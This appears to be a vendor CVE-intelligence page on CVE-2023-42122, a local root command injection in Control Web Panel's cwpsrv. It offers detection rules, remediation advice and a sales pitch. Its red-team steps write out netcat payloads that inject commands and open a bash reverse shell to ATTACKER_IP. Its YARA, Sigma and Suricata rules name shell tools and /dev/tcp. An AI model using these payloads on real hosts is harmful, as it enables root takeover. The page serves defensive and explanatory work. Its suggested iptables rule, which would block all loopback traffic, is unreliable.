☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-42122

CVE-2023-42122 Command Injection in Control web panel
📅 PUBLISHED: 2024-05-03 02:13 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.17%
👁️
0.17% probability
4.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1068
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 7.8
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-42122 is a critical local privilege escalation vulnerability in Control Web Panel (CWP), a popular web hosting control panel. The flaw resides in the cwpsrv process, which listens on the loopback interface. Due to improper validation of user-supplied strings before executing system calls, a low-privileged attacker can escalate privileges to root and execute arbitrary code. The vulnerability has a CVSS score of 7.8 (High) and is currently unpatched, posing a significant risk to affected systems.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 7.8 (High)
  • Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector: Local (AV:L) – Requires local access to the system.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: Low (PR:L) – Attacker needs low-privileged code execution.
  • User Interaction: None (UI:N) – No user action needed.
  • Scope: Unchanged (S:U) – Exploitation stays within the security boundary.
  • Confidentiality, Integrity, Availability Impact: High (C:H/I:H/A:H) – Full compromise.

Deep Dive & Mechanics

The vulnerability exists in the cwpsrv process, which listens on the loopback interface (127.0.0.1). This process is responsible for handling administrative tasks and is typically accessible only from the local machine. The flaw is a command injection (CWE-78) where user-supplied input is not properly sanitized before being passed to a system call (e.g., exec, system, or popen). An attacker who has already achieved low-privileged code execution on the system can send crafted requests to the cwpsrv process, injecting arbitrary commands that will be executed with root privileges.

The attack flow:

  1. Attacker gains low-privileged access (e.g., via a web shell or compromised user account).
  2. Attacker sends a malicious payload to cwpsrv on the loopback interface.
  3. The cwpsrv process executes the injected command as root.
  4. Attacker escalates to root and gains full control.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, the vulnerable code likely resembles:

// Vulnerable pseudo-code
void handle_request(char *user_input) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "some_command %s", user_input);
    system(cmd); // No validation
}

A patched version would validate and sanitize input:

// Patched pseudo-code
void handle_request(char *user_input) {
    if (!is_valid_input(user_input)) {
        return error("Invalid input");
    }
    char *sanitized = sanitize(user_input);
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "some_command %s", sanitized);
    system(cmd);
}

Exploitation & Lab Setup

Red Team

Lab Setup:

  • Install Control Web Panel on a Linux VM (e.g., CentOS 7).
  • Create a low-privileged user account.
  • Ensure cwpsrv is running and listening on 127.0.0.1.

Exploitation Steps:

  1. Gain low-privileged shell access (e.g., via SSH or web shell).
  2. Identify the cwpsrv process and its listening port (default 2030).
  3. Craft a payload to inject commands. Example using netcat:
    echo -e "POST / HTTP/1.1\r\nHost: 127.0.0.1:2030\r\nContent-Length: 50\r\n\r\ncommand=;id" | nc 127.0.0.1 2030
    
  4. If successful, the output of id will show uid=0(root).
  5. Escalate to a full root shell:
    echo -e "POST / HTTP/1.1\r\nHost: 127.0.0.1:2030\r\nContent-Length: 50\r\n\r\ncommand=;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" | nc 127.0.0.1 2030
    

Blue Team

Detection:

  • Monitor for unusual connections to the loopback interface on port 2030.
  • Look for processes spawned by cwpsrv that are not typical (e.g., bash, nc, python).
  • Audit logs for command execution patterns containing shell metacharacters (;, |, &, `).

Hunting:

  • Search for cwpsrv logs for entries with suspicious input.
  • Use process monitoring tools (e.g., auditd) to track execve calls from cwpsrv.

Indicators of Compromise (IOCs)

  • Network: Connections to 127.0.0.1:2030 from non-root processes.
  • Process: cwpsrv spawning unexpected child processes (e.g., bash, sh, nc).
  • File: Unusual files in /tmp/ or /var/tmp/ created by root shortly after exploitation.
  • Log: Entries in /var/log/messages or cwpsrv logs containing shell metacharacters.

Detection Engineering

YARA Rule

rule CVE_2023_42122_CWP_Command_Injection {
    meta:
        description = "Detects command injection attempts against Control Web Panel cwpsrv"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-42122"
    strings:
        $cmd1 = ";id" ascii wide nocase
        $cmd2 = "|id" ascii wide nocase
        $cmd3 = "`id`" ascii wide nocase
        $cmd4 = "$(id)" ascii wide nocase
        $cmd5 = "bash -i" ascii wide nocase
        $cmd6 = "/dev/tcp/" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-42122 Control Web Panel Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts against cwpsrv on loopback interface
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        ParentImage|endswith: '/cwpsrv'
        Image|endswith:
            - '/bash'
            - '/sh'
            - '/nc'
            - '/python'
            - '/perl'
    condition: selection
falsepositives:
    - Legitimate administrative scripts
level: high

Suricata Rule

alert tcp 127.0.0.1 any -> 127.0.0.1 2030 (msg:"CVE-2023-42122 CWP Command Injection Attempt"; content:";"; content:"id"; distance:0; within:10; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected systems from untrusted networks.
  2. Restrict access to the loopback interface using firewall rules (e.g., iptables -A INPUT -i lo -j DROP for non-root users).
  3. Monitor cwpsrv logs and system logs for suspicious activity.

Long-term Fix:

  • Since no official patch is available, consider disabling or replacing Control Web Panel with an alternative.
  • Apply strict input validation and sanitization to the cwpsrv process if source code is available.
  • Implement least privilege principles: run cwpsrv as a non-root user if possible.

Workaround:

  • Use systemd or xinetd to restrict cwpsrv to only accept connections from specific users or groups.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Control Web Panel
cwpsrv

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-42122/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.